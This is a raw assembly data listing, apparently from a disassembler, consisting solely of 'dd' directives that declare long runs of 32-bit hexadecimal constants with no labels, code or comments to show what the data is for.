dd 38533346h, 7141A04h, 61A203FDh, 64C7612Ah, 0E3B19BC9h
dd 2690640Dh, 7B0C5735h, 2CAE93DBh, 8F8D3A1Ch, 10E0F4F9h
dd 41E95A6Dh, 0AB224327h, 0D4D2BBDCh, 5832E6A3h, 8C8552C8h
dd 1B05CAB6h, 0B183DBF8h, 431FA4BFh, 6109C407h, 0F678193h
dd 0C391B140h, 25784A59h, 0D744362Dh, 9FBFE40Bh, 0BB716104h
dd 14FA1B7h, 0DDBDBF76h, 3A324250h, 4ACF3221h, 0E1ED6609h
dd 0AD53AE05h, 0B29B4017h, 95F76F0Eh, 1F06AA70h, 5BDDC7DFh
dd 0F8665012h, 2850E902h, 30B98796h, 54F4504Eh, 5E8ED910h
dd 139DFD8Fh, 0C4036C4Ah, 2647A316h, 24A04080h, 56F132C9h
dd 0DEC850C7h, 0D2DCEA20h, 24D212F9h, 0D617E71Dh, 0DD653DEFh
dd 0CE55DF2h, 0C8F401C8h, 0D6D6B2C8h, 770EE68Ah, 8D2F76Bh
dd 0BE908C28h, 2455DD02h, 0FB547FBCh, 23F6847Dh, 0DD32A458h
dd 5445CA69h, 6E6D169h, 187CC4B7h, 0FE911844h, 65C2FC5h
dd 70B19E9h, 73FEF085h, 0D95425D5h, 0E7D75D42h, 2E551C9Dh
dd 8F527478h, 84FB60DBh, 0AC964BC2h, 1F139570h, 0BF06F9DDh
dd 8B235EA3h, 0C4A985Ah, 1637BBCh, 48340945h, 76F8BBCAh
dd 9805403h, 431397C0h, 212927D9h, 0B46760A2h, 8395357Dh
dd 8E74359Dh, 4C4C161Fh, 83EB6F08h, 0BEF88504h, 474BDC96h
dd 0C0CE3434h, 7C399C76h, 415132A8h, 24A07AD7h, 4FC627D9h
dd 0EE3401Dh, 28FAB70Eh, 9358AEF4h, 9464C672h, 0DB725897h
dd 4927AA02h, 0F4F82E3Bh, 41D2A04Ah, 0DC6A48C2h, 0E795718Bh
dd 0C89B02CFh, 0A4B0C916h
dd 35477004h, 555720DFh, 0DEB43B02h, 0DC6A6030h, 0CCC88147h
dd 0D62EEF4Eh, 0E60942DAh, 39E0EB05h, 150B5843h, 9DDA075Bh
dd 7082E17Dh, 1C5E3FC3h, 0E2C5AAD9h, 294F4F49h, 25DE15DBh
dd 10F6813Fh, 5195FA37h, 599D8C0Fh, 7B8315EBh, 0E236156Ah
dd 48D16EA3h, 0F72D53B4h, 8F01C20h, 5D7A34CFh, 247967C2h
dd 0E661BC8h, 7FB7BFD9h, 0AB219CFDh, 0A908E818h, 5C7A8BACh
dd 0E8CF0DD6h, 0FFCFEEDDh, 0A86C5A2Bh, 88521C3Ah, 1BB3D3Ch
dd 4CB76BF3h, 0FB8EAA52h, 35EBACCCh, 4302ACE2h, 65C3E5AEh
dd 0F6047BAh, 4390107Ch, 244CE84Eh, 0F7442E67h, 0E6C3F76Ah
dd 737168EBh, 0EC41A48Fh, 8FB0F9C8h, 82324D96h, 4A0FC731h
dd 672D6659h, 0DD6E71F1h, 0D36B41E6h, 5AD47B14h, 17BAA784h
dd 0B10C7DEh, 3A0029D1h, 1A4D6902h, 377515C7h, 25FA81B2h
dd 63BC8399h, 0B937844Fh, 2E93007Ah, 0D553989Eh, 0E5006136h
dd 8E8041A2h, 0EBDF88E4h, 5252D2E0h, 0DA23B19Ah, 0E7C6838Bh
dd 9288A5E6h, 4DB00C79h, 99258A5Bh, 0CD1AD287h, 0E59BB236h
dd 338FF4FFh, 52EF130Ah, 296BE674h, 6286AF51h, 0A31FCC8Bh
dd 0E5281BB1h, 9DF43463h, 0EA88D62Fh, 761F8156h, 0FBF6DCEFh
dd 0EA27141Fh, 0DAD70F36h, 0F43B0E29h, 8BA13950h, 69269281h
dd 66D9330Dh, 9FB7B3C7h, 0E85444BDh, 748B8A4Ch, 679E22F8h
dd 361EE361h, 0C4B7F8EBh, 5DD11D7h, 0D8223808h, 0BED75B87h
dd 0FA8914Eh, 184C11E3h, 0FCA6B821h, 1FB827A7h, 2B9BF716h
dd 0E4C097D6h, 0DBC02760h, 2E1D2530h, 8B5C6518h, 9AC8D8FEh
dd 0AAE27798h, 8D07B2AAh, 0FCF373DEh, 9A34E179h, 0EE11FDCCh
dd 833B9F35h, 23F3770Dh, 25F944FAh, 0C6696A9Ch, 33E62D94h
dd 65FB8EA9h, 98C0F84h, 3552A71h, 748AD1E1h, 48EEF261h
dd 0C8A77D4Bh, 0D51E32E2h, 782286E2h, 0FC5AE429h, 0CD251D66h
dd 0F22D08EFh, 310C0E11h, 0EB3D7A24h, 0CB5DF576h, 0A642FB3Dh
dd 0C01D686Ch, 2B23834Eh, 67D024E5h, 7162DC7Fh, 2337A241h
dd 0ECA1406Fh, 0CBDD95FEh, 8C8140A6h, 354DBBECh, 2C4922Dh
dd 27895115h, 16A44183h, 8CB111F4h, 1A7585B0h, 6DB03148h
dd 1F4B87CAh, 0CC7B00B8h, 57574218h, 5CBA6B3Eh, 96826317h
dd 5401EF61h, 0BCBA45B6h, 45D21418h, 8ABE439Ch, 0E7126947h
dd 21AE2E27h, 0B307AFDFh, 2D713CDBh, 0CDA5762Fh, 84F05449h
dd 4B0E3631h, 31068596h, 0E06306F9h, 7C93F57Ah, 264F88E5h
dd 0CC288678h, 0A7A11134h, 0DBD4667h, 0B7FBBE8Ah, 0DA2C057h
dd 343522B7h, 2B2B866Ch, 2A15DD84h, 24B75Ch, 96DBD18Ah
dd 8B53A153h, 5705966Eh, 0B39CAA4Bh, 3E791B7Fh, 0E7A29D54h
dd 0B77CCFADh, 84C40318h, 9B202C3Ah, 4DE66C24h, 1252635Fh
dd 0C6F0BC58h, 0C5D73AE3h, 0FB0B0E23h, 62D571BEh, 6A2F71F4h
dd 43AEE113h, 0C5083770h, 0F8F0A502h, 1B44D319h, 6DCCB4BBh
dd 0C2C3D229h, 638D9117h, 0AD7F1906h, 564ACD5Fh, 0E9A4DB71h
dd 351FDBD4h, 6D0745DCh, 0A2C599BAh, 981FD37Dh, 8D72B261h
dd 98DBDC3Dh, 0A7F390AFh, 2E931C3Ah, 67C0837Fh, 0E7D2D865h
dd 0EBD0AC33h, 0A6F01CE5h, 2C02F857h, 7A2EBEF8h, 0B4EAD0B6h
dd 1D45D9Ch, 0E5EB6A29h, 0C49AB381h, 4A14A5C3h, 0D24B1A6Fh
dd 0BC26A17h, 140DA12Eh, 0D3DF1DCh, 2897F562h, 0CFFFA838h
dd 0DE9E4544h, 62C495Dh, 71D7CCEFh, 73FA6DBDh, 2A1C6AF1h
dd 8F04FCC8h, 62F6DF0Eh, 96931F9Dh, 9EEB722Dh, 0B44F66Dh
dd 8C9D47E1h, 0E678CFB6h, 991E5D22h, 0AF9CC8EDh, 50FF485Ch
dd 317D8AD2h, 0DDFA27BBh, 229D6112h, 0C2F464B0h, 625F0532h
dd 0F0F6EC50h, 0B23C323Eh, 198AC340h, 0EE086554h, 5DDA6526h
dd 0D375891Bh, 25F164Bh, 0C5132676h, 3B3EC914h, 5C13C0DDh
dd 0C7B424FBh, 4DF2B453h, 0F74FA711h, 43241C28h, 0AF8125Dh
dd 0AED622F5h, 54C1595Ch, 0DBB4EDB8h, 7A0F1152h, 0C6A030B8h
dd 0E69186DBh, 5B16EDDFh, 55ABAC92h, 2BE0E06Dh, 0AE49DC2Ch
dd 972F6195h, 9CB1771Bh, 89E57614h, 4F885E25h, 1FBC05BAh
dd 396206CFh, 0FB721872h, 4CFF7662h, 0BA52CD3Bh, 264EDFC6h
dd 0F8D0ECC8h, 0C6F9F582h, 1164496Eh, 304DBFFEh, 0B1365460h
dd 34523470h, 0FA812D98h, 2EE3B7A9h, 7CD2C738h, 0A313526Ch
dd 3EE06AF9h, 3F229636h, 56CFDD74h, 0A01CDB67h, 0AE407AD7h
dd 60851813h, 0B3DF2015h, 0EB9BE957h, 6875BA22h, 0F1956730h
dd 53873EE5h, 0AF925F9Eh, 168FA0D2h, 0B61029Dh, 757EB23Dh
dd 9E13022Ah, 0F54CE085h, 0D3EAC02Fh, 0A66E2302h, 0A4A4565Eh
dd 0BB590CDBh, 0DC99A145h, 307C1EA5h, 8FB0AF7Dh, 0F6D5C929h
dd 49D9540Eh, 0A10B2927h, 82319B6Bh, 62539018h, 9F63214Dh
dd 8C1230F5h, 321E6767h, 0F63B708Eh, 0CB6DBA88h, 36F2365Bh
dd 69B58E9Dh, 0EF913D79h, 0E62E4C00h, 45C408A8h, 6FBB45DCh
dd 6C3326D1h, 0C45A03B4h, 951F7F44h, 891D9D9Ch, 0C70AE892h
dd 1D2F1A9Bh, 48AD9BF1h, 1EC6AA16h, 8D045C98h, 1C44A71Ch
dd 49EF283Bh, 0FF2995FFh, 0B2C914Fh, 0CE1A5288h, 81EA2276h
dd 1AED5ECBh, 7CEC4C67h, 98574C77h, 0B3A03F7Ch, 0D6C1283Fh
dd 3BEF8E09h, 999C1CB6h, 6A5A1CBAh, 96294B40h, 9E9C4E64h
dd 0DC04C42Dh, 6EACF030h, 345495C1h, 57256077h, 0CBB564F9h
dd 64A9AB9Ah, 5189D324h, 0D3F3EAABh, 0A936B891h, 8D7AEB30h
dd 0CB59862Eh, 0FA5E059Ch, 75C75B9Dh, 5751F9DBh, 0A81F3EE4h
dd 341E672Eh, 7D3C6C7Bh, 4A74974Dh, 0C12CA944h, 0FF5A41B0h
dd 6B4DCFBAh, 0E7848304h, 578400B4h, 21201188h, 0A7594AE7h
dd 0F306D594h, 0E5A03C6h, 0F8B3AC34h, 0F9AD27AAh, 34012D1Ah
dd 68B0D695h, 6CDB0796h, 0F5A6FA9Eh, 52593E37h, 7D664616h
dd 0BFCDD197h, 0AA0FB96Ah, 0EC185ED3h, 0A6A8C0C8h, 84DF7A8Fh
dd 593922A1h, 1309DBA0h, 21363FE5h, 8027A038h, 4D0BDBC2h
dd 8AB1BAB8h, 29080715h, 970F2503h, 0A025903h, 0E724B610h
dd 992C6681h, 702CA019h, 6A260252h, 0C54DC0AAh, 0A89A382Ch
dd 0AD25AC4Ah, 7E4727BEh, 0C29D7F66h, 805E1F1Eh, 0AADFB9C3h
dd 15091D07h, 0CBA2CF72h, 0C3D0C6F5h, 16B54ACh, 5981D586h
dd 0EF168C0Fh, 0AAD0FCC1h, 8AF3EE54h, 94478C99h, 82E14F3Ch
dd 0F72A1361h, 0CDADA04Fh, 0C7A792DDh, 8C53901Ch, 20C81CDCh
dd 435BD404h, 0AC78230Fh, 9B902CDAh, 4E1DB176h, 4F752FFAh
dd 2EC16403h, 91BB558Bh, 89CA119Eh, 6BDAFF74h, 0D395DE71h
dd 0FDE2E5CCh, 0CFD5C7D9h, 23F48AFDh, 0E75ADF23h, 0C5A24AB8h
dd 59DD619Ah, 3B9ED148h, 0D64A1DB0h, 8855896Dh, 0A0B24CA9h
dd 28ADDE71h, 0F46065A6h, 8522F64Bh, 8F8BA231h, 14025249h
dd 2E9F8043h, 0A5065102h, 2112C88Ah, 2006A0C1h, 0AB322517h
dd 6B64C7F4h, 7FD4A25Ch, 1D27F3F4h, 0D964675Ch, 36FCAA88h
dd 0B43F8292h, 4842B879h, 3025365Dh, 747B2A25h, 0A4B96F1Fh
dd 0A73A4997h, 0D90DED72h, 0DF1D3F5Bh, 0D1DCC871h, 0C1153A51h
dd 0C0E4F5D5h, 9F0E5310h, 7B9A6CA9h, 2BDAADA2h, 0B195F94Bh
dd 381646BAh, 42535680h, 809DC089h, 0B1411ED6h, 0AB129DF6h
dd 6383F92Ch, 40735BA6h, 0C6C9352Ah, 4900B690h, 0DA19DEF6h
dd 28BBA2DFh, 387118DDh, 86428902h, 69B3D6E7h, 0D639A81Ch
dd 18933DE4h, 3576D91Fh, 276265D2h, 0E759C938h, 533F3DCCh
dd 2CFD417Ch, 9B86363h, 0B78FD30Dh, 5EE93D15h, 0AC7E96ECh
dd 7C300A98h, 5A44371Dh
dd 1D595CEEh, 1712CC7Bh, 0B06D0EADh, 0A99AF1EFh, 5B823DD1h
dd 0F7E43B07h, 81AE9580h, 24C0CC36h, 0AEC62ECCh, 2A19D4D9h
dd 8CBCEC68h, 0A66B3678h, 0A0451296h, 3D7B4926h, 0B71115AFh
dd 1221B331h, 6A2B4376h, 5E3A6450h, 0F648EDF1h, 0EC1DE36Ch
dd 2D763220h, 0F3783BC8h, 0CA26FB9Fh, 9C0D6E78h, 73A2961Ah
dd 0F6F92910h, 0C68E5324h, 5CDD55DFh, 9C2DB8FFh, 54860D2Ch
dd 0A105DA24h, 0F7BD1699h, 57C637B4h, 0C617A0F4h, 2DF90E15h
dd 0ED95F2CBh, 2392C9BBh, 96030E3Fh, 0C5DE059h, 0F5027D0Eh
dd 9D44E35Dh, 0E2A92F83h, 65207DEBh, 0FB84F7D5h, 4F08834Dh
dd 0D25FD360h, 0D7905929h, 1E5C4BE9h, 68AFC263h, 0AEB6FB95h
dd 0B67690EDh, 821AE4EFh, 10C36792h, 4E8762F8h, 5874A84Ah
dd 0EA2E669Fh, 25DF41DFh, 2A29AE15h, 2C308A0Eh, 5B4909C9h
dd 0D2F626FCh, 22DDF8F4h, 0E7B5FBB1h, 30326FCFh, 0FD400F92h
dd 33DDB8A3h, 62358946h, 0FFE7BBA7h, 0FF28E206h, 0CDE703C3h
dd 6C6AF026h, 8B259699h, 3802442h, 0C37D2D07h, 5512DEB5h
dd 3FE47F12h, 41E77B0Dh, 5DBD6805h, 33ECD14Eh, 0DB078035h
dd 5E90603Bh, 37ACFA65h, 0F4B608E1h, 8AF8397Bh, 0BB529489h
dd 0A0C6058Bh, 75E15673h, 48ECCC4Dh, 108692A0h, 258F1524h
dd 0E0DDB2A5h, 0B7892FA0h, 644D3DD3h, 0B5631CBFh, 1BEA751h
dd 0DD070C06h, 89DA1941h, 0B0E47B16h, 0E5E2A028h, 0CB96B6CFh
dd 482692EEh, 0DCC480B7h, 98179F99h, 9D3A01BEh, 91136E35h
dd 0AE02B1F2h, 8E1961A4h, 63E6C1A6h, 0EB58F257h, 75D5609h
dd 9444F82Ah, 0A89FDBCDh, 9049F473h, 0D7F9A913h, 7941A619h
dd 0B9ED2A4Dh, 9B0981C2h, 6991AB36h, 0EA15A7D5h, 0C2E1EB85h
dd 0CC70BCEAh, 13C972B9h, 56DDD14Dh, 0C855C0D3h, 87C8439Ch
dd 1FAD84BFh, 33BC6015h, 0A27D185Dh, 0CA748F5h, 0B661D9B3h
dd 0AF5D86D9h, 7E2C6234h, 3690CCEFh, 4F643A02h, 0BEFE7BE5h
dd 9EA3E5Fh, 1A711D30h, 14B9519Ch, 0BCD05CBEh, 1A34C0A7h
dd 354F33E1h, 59F8BB84h, 534D381Ch, 663DD5F6h, 2207082h
dd 0DAE61B6Eh, 765A18D9h, 4806638h, 34E666BBh, 0E500564Fh
dd 0F29402AFh, 75D91040h, 32DFCF33h, 0E1572187h, 3A79A408h
dd 0FC725A96h, 0DA126936h, 7F5BB465h, 4050AA40h, 6DE90263h
dd 52077D9Eh, 0DA824AE7h, 1C08F5CBh, 45B24A9Bh, 0BE838A3Fh
dd 0BB206C7Fh, 3A7E9AE8h, 578FC2ADh, 0EA600B06h, 0D070E1B6h
dd 22FA3809h, 0D5ADA28Fh, 0B03672C3h, 1721D3A3h, 9FBC420Ch
dd 0DE919A9Ch, 0FC293D3Bh, 0E47237C4h, 0F0D0F480h, 0C000912Bh
dd 0E8FEA393h, 2FE6FDE8h, 5BBAA683h, 3AA2EE10h, 0E53039C3h
dd 0E81516AAh, 37286F84h, 19FF6405h, 97B750FBh, 93BA5066h
dd 0A27C3DF8h, 0A8EC5F06h, 14106FC1h, 8C0FB3AFh, 63CD3FF6h
dd 0C3B74C83h, 3B632F8Eh, 8E9DB367h, 6ECB4014h, 0F94E287Ch
dd 3E29FFC2h, 3CD34D07h, 0ED583A4Ch, 0A27AA269h, 1D6C1606h
dd 0F989F19Ah, 0CCFDE58Ch, 151539A5h, 1542D428h, 0E3C34064h
dd 59A5AD22h, 0FAAC3D34h, 8EB21EA5h, 0CE0C8941h, 444F3586h
dd 4BA398FDh, 0E7203603h, 0A53DBA6h, 176641BEh, 6BD1243Eh
dd 90935B35h, 57A5DA34h, 0DE5B3DD6h, 0A7575BAAh, 0C4CBD813h
dd 0CCB7E62Ah, 0E94A4CDCh, 37A2FA43h, 0E22CE1F7h, 62A79D0h
dd 0C7CF76B2h, 0DC78D9C6h, 83A5B42Bh, 0B4F3DE35h, 9F6CD339h
dd 35677795h, 53158BFBh, 62A19D82h, 0BA10CB2Fh, 58CB748Dh
dd 0FBF91B82h, 2E8829D9h, 0FFCD1C99h, 2233B009h, 21D26395h
dd 0DD5A363Eh, 428209B3h, 1FF3AF3Ah, 0FC761031h, 61B225C7h
dd 0B8E893BAh, 9BF02F62h, 0D7F8AEA2h, 0FE384244h, 8D774A41h
dd 91892923h, 80E7E8C5h, 0B7F7B18Bh, 36451A34h, 86FD9ADCh
dd 11234433h, 5908858h, 40B039CAh, 0FEB76688h, 52188985h
dd 0E526AE34h, 8349838Ah, 8346FC26h, 4B5332A4h, 4E34E134h
dd 99292911h, 2A32EC2Bh, 0C0DD9003h, 5A5857F5h, 0DFB3173Bh
dd 688E6762h, 9A3DDDDEh, 0ADEBA24Bh, 52EA695Ah, 0BA3691D5h
dd 2BC75441h, 57088DEFh, 0B2BC03D3h, 6AD49E18h, 43115FECh
dd 0D4F0C294h, 5FFC1C69h, 62CB7F4Ch, 5C375892h, 0ABF908D7h
dd 4B5ED9DEh, 2E181615h, 51880E48h, 5F8E6882h, 20736987h
dd 7F8ACE54h, 0D4D8E4B0h, 10AB62E2h, 0FFB0DB7Ah, 4B2BD4FBh
dd 38B1CCC0h, 384744EAh, 6C133A9Fh, 33473B5Bh, 67C81FD1h
dd 90DA6655h, 5F332458h, 1156CB0Bh, 0FE9901A4h, 0EB239B0Ch
dd 0CDE1C623h, 703FCFFh, 3FFA050Bh, 9E411F3Bh, 2F6C1580h
dd 16A0F4Bh, 3D0FBD85h, 0D6B2F9CCh, 0F4D65B25h, 25CB94D3h
dd 9AC60202h, 0E84AE4D3h, 22B9549Fh, 25892E70h, 59AABA8Bh
dd 87B34518h, 6A1B5705h, 0D73F7B34h, 8820D66Ah, 4A6CD5C9h
dd 0A9EA50EAh, 4D559505h, 0CEB0F51Fh, 18B72E2Fh, 0C8CA0DE8h
dd 97DD13FCh, 87F994BEh, 0A5FB11EEh, 3A344F35h, 116C1393h
dd 0A596D05Eh, 0DCD4AE45h, 917A9B94h, 55A5638Dh, 563CEB1Fh
dd 5E69FB42h, 8E761384h, 0CB2EA2E3h, 30B21ECBh, 0FA2A714Dh
dd 0C4449387h, 803F4C57h, 0FF245736h, 7E88CD49h, 92CEFEA5h
dd 32C6779Eh, 1DA1F822h, 81B286BFh, 0D20E7AFEh, 0B1B94993h
dd 69FDB22h, 3AD6899h, 681BCE9Bh, 2D7230EEh, 0B16702AAh
dd 99296929h, 303045E6h, 2CF0F5D2h, 472D1478h, 0A6575FBh
dd 0D3333B12h, 0E494F5Dh, 81BB8521h, 0DAC581DCh, 0F041B699h
dd 0C3C45C94h, 3A5709Dh, 0D301AE0h, 0DC981EFCh, 22D3700Ah
dd 0A56295Eh, 815A52BCh, 5617C1ADh, 9AC3D41h, 0D8187C2h
dd 0AB10EA93h, 0E80AF1A9h, 9EE21DDDh, 7BBE5B94h, 28F975F0h
dd 0F74E03F2h, 4A58C538h, 4D547780h, 5D7076C4h, 0A4F59BC1h
dd 10C57638h, 0FBEE8816h, 73135FA3h, 0ACB634A8h, 37248B2Eh
dd 0DD64B945h, 1A4E2C13h, 49851F43h, 25324637h, 940B8169h
dd 0C577A72Fh, 0AEAC99D9h, 66EE7C3Fh, 44E41877h, 93F0E90Dh
dd 5954A01Dh, 89DD53EFh, 0E2C40354h, 0FD596AE4h, 61D5B0E4h
dd 0C1CF9F67h, 0A14F810Eh, 0DAE9A4BFh, 25B0CE24h, 957C48F7h
dd 545E7DC0h, 38BB5E45h, 0D97EB399h, 5A269748h, 0EFF4B346h
dd 920367BEh, 913A255Bh, 2B323C8Bh, 7FEC834Fh, 8073338Eh
dd 747B667Fh, 7356FB51h, 0C35EF7BFh, 823521EDh, 7EFACA28h
dd 9A626449h, 0FE99FE53h, 0A7259329h, 0C7A4B916h, 0D77B8AE3h
dd 5115DC9Bh, 0C57B1614h, 30899063h, 64F2F341h, 77D295DFh
dd 0E0A93768h, 0D0C157ABh, 4B48A164h, 0FF4E4358h, 80C17542h
dd 0DF76B46Dh, 0B81BE77Bh, 5981F1FAh, 0B52C2BE5h, 8AF22C9Eh
dd 8FBD8353h, 8F523BA0h, 6DF49D69h, 0EE528DD9h, 2299B077h
dd 0C554C1DAh, 8EC67F2Eh, 0EB2CA186h, 4C3A6046h, 12AB83E1h
dd 0A46EBB5Ch, 66DFDDBh, 54D28730h, 5FEEC2A9h, 0C93E9997h
dd 0EB12FE9Bh, 3AFEA6CDh, 615EA6DEh, 4920EBB8h, 0A27B8752h
dd 0B9944011h, 4484665Ch, 5B982BC5h, 6EF84E8Dh, 0D529ED41h
dd 82676843h, 0AE0F9AFBh, 0ABA160CAh, 0E078BF88h, 5076633Bh
dd 707257D4h, 184188DEh, 0C67DB4D6h, 33E2D25Ah, 0E640367Fh
dd 456F827Eh, 0F1DE9805h, 0AC90F76h, 548ADC35h, 64D35AAEh
dd 0BE30507Fh, 755E48Ch, 4D9194E6h, 0F9E92726h, 0AA78C7E8h
dd 467E3A7Ah, 31CB568Eh, 120983EBh, 102CD232h, 0F811D2BBh
dd 0E6FAFEEh, 0B72A36ACh, 0DCCB85B8h, 2E5102C6h, 7282FDD0h
dd 8FCCBEBAh, 0C32227A2h
dd 16F36AA1h, 0A1CFA49Dh, 0EBF314AFh, 0E5C57054h, 0BEC4F401h
dd 0CE19C420h, 3B636961h, 1EF1C496h, 0DA3C65DDh, 33389ADAh
dd 587DEA29h, 0D50A9D84h, 0EC58409Eh, 0B6722B42h, 0AB48E96h
dd 0FD92333Eh, 24B71F8Ah, 0A12A0C9Ah, 7E8804B6h, 8C162D48h
dd 434A77F6h, 987635E0h, 0CBA05057h, 0ADD77693h, 24BAF14h
dd 699FEF2Ah, 9572BCFDh, 0D6C7A534h, 0FC3A3753h, 70342E85h
dd 41CB27Eh, 9ED33511h, 1996D12Fh, 36F9DC31h, 49D00F61h
dd 0FD86D664h, 75D50D28h, 29B7FB8Ch, 6C8A55ABh, 8346BE07h
dd 0A15B2FF1h, 4BE0B1C0h, 31A3F27Fh, 8C5ABB12h, 7F51121Dh
dd 0C2908694h, 68B1A721h, 0CA0EE32Eh, 1B05A012h, 7D758B5Fh
dd 7DF94893h, 0FE4AA143h, 6C322C6Bh, 0CD58BE0Fh, 0C28A32AFh
dd 0ABBDC281h, 0AC60DB94h, 505A26EEh, 0A059AA2h, 17C955DEh
dd 7BA202C2h, 5F5CDE20h, 0A1CBA453h, 4E0F708Ch, 0EC840BBDh
dd 0E1F76D31h, 4F4BF4D2h, 0B3BE1812h, 2AE72132h, 3859E025h
dd 0A5CF119Ah, 9A1E4B67h, 0FFE99D2Ah, 0BFE80D23h, 0F93D0673h
dd 8224B039h, 0D112C45Ch, 19F69402h, 0F0381C7Dh, 0C99B4894h
dd 0CACC694Bh, 7CF9401Bh, 5271FFA5h, 0F53BA18Ch, 31FA0D47h
dd 701F128Ah, 2D859BA7h, 0FB7B2843h, 97414C3Eh, 0FD53C8B4h
dd 439231ABh, 9BC34769h, 5884375Dh, 7A19EDA7h, 0B07EF98Ch
dd 0E48184C1h, 459486EAh, 49429609h, 9811F5B9h, 2D726BB2h
dd 2EBB59Dh, 8772891Dh, 24EDBBE5h, 717580AAh, 8616ACB6h
dd 53F07EF9h, 0CADD6ADFh, 72B2A143h, 70477659h, 92B755C8h
dd 3971C293h, 74AEAE41h, 0E845AB14h, 0D06D9BCCh, 0A124AE7Eh
dd 0F1805E60h, 4CA2BB76h, 1D23382Ch, 0A39E62B9h, 7A1F2D78h
dd 0BC4937B6h, 2172B310h, 78E45E02h, 0C919C731h, 658E4BB3h
dd 492D9F7Eh, 5DBC5B20h, 9FE011D5h, 5C67B9A3h, 488F2DBAh
dd 7705DDEEh, 0D490F45Dh, 0FF97846Ah, 968399F8h, 0A091D59Ah
dd 4C5FA133h, 0B1EC1CFFh, 28831D44h, 8DE0B842h, 0F350910Dh
dd 0DEBE493Fh, 0D647D7BAh, 823EA716h, 0BF9981Bh, 0F3D05DD5h
dd 39C0AD58h, 0A302749Eh, 0A21958A0h, 8D16F050h, 89EBE004h
dd 6B6A3DF1h, 0B48D1EDCh, 58921414h, 0C3154CCEh, 78923876h
dd 8B3F5490h, 74E7F286h, 0F69907F7h, 56B1745Ah, 864BE26Ah
dd 3E4384B1h, 88259235h, 5F8C2D6h, 0AF2BB957h, 7360207Bh
dd 0C5ACB17Ch, 0FAB78CF1h, 74462338h, 687FFAEFh, 0F80F3AE2h
dd 0C622117Dh, 4502C8F8h, 50246B22h, 46E93C30h, 0B70F11F1h
dd 0D8F8B178h, 0F6326EB0h, 3BE038F3h, 76704156h, 0A7A7644Fh
dd 0CB2ED780h, 6CF2E7F2h, 1C112A82h, 24D56DB4h, 5079F7E7h
dd 0E74FDD0Eh, 0D2D14467h, 9932CDA0h, 9FA9DB98h, 5A6A09DCh
dd 88A8848Bh, 0B6788364h, 7AD8C6E7h, 0EB946428h, 0FB9FB5E4h
dd 12C30C20h, 6804CA1Ah, 638EB07Bh, 2F0EA5EBh, 77077316h
dd 329DAC41h, 0F28D3AB7h, 0A98C0CD2h, 8C7924Bh, 0DE7CC7DBh
dd 2961FE55h, 0A5C5A6D5h, 8CA16294h, 2D2F07B9h, 9BC431Ch
dd 0EE427E26h, 2A7C7169h, 0FD9122CCh, 4302B8CFh, 0DC4A3487h
dd 54D0696Fh, 5F701047h, 0E13D1B07h, 5BD447D1h, 6106762h
dd 12D15C29h, 58378C57h, 8F30CC74h, 8A24757Ah, 0C456DF2Fh
dd 0A9610703h, 24C5A38Fh, 4EE18C0Bh, 55A8E5A9h, 0F285603Fh
dd 0C58DFFB4h, 0A718C80Bh, 75B98670h, 7A4404A5h, 9AB9373Fh
dd 116EB98Fh, 0D6469C81h, 8962DF60h, 0C701CBEEh, 9A3F66D2h
dd 0A8DD1508h, 24C02D68h, 7CE5CD67h, 919CEFC1h, 3CD869ACh
dd 52227AA0h, 0B1FE0488h, 0A98C7C76h, 8CE4D1Dh, 758BD5EAh
dd 0D7C15F15h, 472142A2h, 356619BDh, 4DFB04Eh, 0E3B147ECh
dd 3640BA09h, 9EAE3DA7h, 2F2980Ah, 0F9620F93h, 771541AFh
dd 710A4CE9h, 6CB0C94Eh, 0FC8991F8h, 0AFD689E2h, 0BDB84B21h
dd 0EACCD937h, 0FFC93B48h, 0C3C2072Dh, 0CF65D338h, 0F9E9908Eh
dd 0D1F485E0h, 8E7E60CDh, 0F4CDAFB2h, 6423FB59h, 0F28AA1A1h
dd 58FB275h, 705A027h, 1B4F7717h, 993B93DBh, 0A3747D8h
dd 6DF4B5FBh, 12FA66F8h, 35272D06h, 14B030Ah, 0D525DE85h
dd 6B9D4F9Ah, 4D0FCE8Fh, 0E118DCEAh, 981E21D4h, 0BB4BFAF3h
dd 3C034E2Eh, 0E5FBECAEh, 0A8DD745Dh, 0EC11FAEEh, 4E0CC577h
dd 57B5D233h, 58F9C6B0h, 0EA4DC1DEh, 63A4E29Dh, 3276C435h
dd 0B7AA7247h, 2CE8225Dh, 191BF2DAh, 0C9705EC6h, 0ECF5CC50h
dd 0BF406A9Ah, 8EC080A9h, 0CD9FA66Fh, 5B7CF71Ah, 5AD715CDh
dd 56333EE3h, 8CA19D21h, 125BD30Ch, 2D664E85h, 9FB2031Ah
dd 80E5C5F3h, 527E11C0h, 0C29C65FAh, 2DA628C2h, 40DD99C4h
dd 3C345070h, 1BF862BBh, 40540575h, 0D2812C63h, 52905415h
dd 75360685h, 0DB15EF99h, 0A9573EE3h, 4999840Dh, 0A3C5C855h
dd 225E339Ch, 0A0E78F06h, 0BEBDD8Ch, 0B8398E42h, 0BEBD7F9h
dd 29E67C82h, 0A778706Bh, 3E0750FBh, 4BBCF71Fh, 0A57A98D9h
dd 0F2ECCE53h, 3AC237C2h, 0FFD85B58h, 53B9F92h, 533E2853h
dd 6689DDBCh, 0CD29149Fh, 0B46BAF1Eh, 0DD761101h, 5A20FCC4h
dd 7C87905Fh, 89758D16h, 56EA87D5h, 0C045EC6Eh, 446DD3BFh
dd 9E57FDD9h, 21CBE5A4h, 0A5D31089h, 67EB7C9Ah, 0D6C0581h
dd 96FF4FBBh, 0B30A53E1h, 54644BF7h, 0B3E853D4h, 6CA03DF3h
dd 3200F5C4h, 0A9A29B1Dh, 48124DE6h, 594421B4h, 0BE2957CEh
dd 960F6462h, 61FCAB39h, 0E1C40078h, 4B9F2D1Fh, 0D726F1BAh
dd 0A325EA33h, 0BE363BE3h, 0F99B79C6h, 3B1FBAE8h, 0C9D01226h
dd 0AF868021h, 0EBD08C6Ch, 7A928293h, 45CFB608h, 0A16DCDD8h
dd 835DD722h, 46BD7F0Fh, 0C3C808CCh, 91B8929Ch, 457964CCh
dd 0DF990DE4h, 0BEBFF4EAh, 8050B5D9h, 37F90E01h, 2A022327h
dd 59793D6Ch, 2E9B35C6h, 54640782h, 9464402Dh, 0D7AB154Fh
dd 0E3B7D8E6h, 935C6D15h, 0FA478171h, 0FFA8E25Ch, 0CB27A742h
dd 872992DDh, 0BC0B487Ah, 1D300F52h, 7C0E427Dh, 13C34CDh
dd 393802A3h, 0BA9EB9D6h, 534A4629h, 0B8481032h, 0A54EC76Dh
dd 0CD8EC961h, 0CAEDC34Bh, 1D0A6C1Fh, 0C985B8FAh, 5F92B815h
